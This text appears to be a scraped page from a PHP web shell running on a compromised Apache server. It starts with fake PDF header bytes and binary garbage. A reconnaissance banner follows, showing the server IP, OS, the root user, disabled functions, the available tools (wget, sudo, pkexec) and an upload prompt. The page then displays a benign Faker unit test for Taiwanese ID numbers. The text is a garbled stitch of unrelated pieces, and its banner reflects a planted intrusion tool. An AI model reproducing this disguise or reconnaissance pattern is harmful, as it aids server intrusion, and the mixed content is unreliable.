%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.110 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/ppaobm/vendor/fzaninotto/faker/test/Faker/Provider/zh_TW/ |
Upload File : |
<?php namespace Faker\Test\Provider\zh_TW; use Faker\Generator; use Faker\Provider\zh_TW\Person; use PHPUnit\Framework\TestCase; class PersonTest extends TestCase { /** * @var Generator */ private $faker; public function setUp() { $faker = new Generator(); $faker->addProvider(new Person($faker)); $this->faker = $faker; } /** * @see https://zh.wikipedia.org/wiki/%E4%B8%AD%E8%8F%AF%E6%B0%91%E5%9C%8B%E5%9C%8B%E6%B0%91%E8%BA%AB%E5%88%86%E8%AD%89 */ public function testPersonalIdentityNumber() { $id = $this->faker->personalIdentityNumber; $firstChar = substr($id, 0, 1); $codesString = Person::$idBirthplaceCode[$firstChar] . substr($id, 1); // After transfer the first alphabet word into 2 digit number, there should be totally 11 numbers $this->assertRegExp("/^[0-9]{11}$/", $codesString); $total = 0; $codesArray = str_split($codesString); foreach ($codesArray as $key => $code) { $total += $code * Person::$idDigitValidator[$key]; } // Validate $this->assertEquals(0, ($total % 10)); } }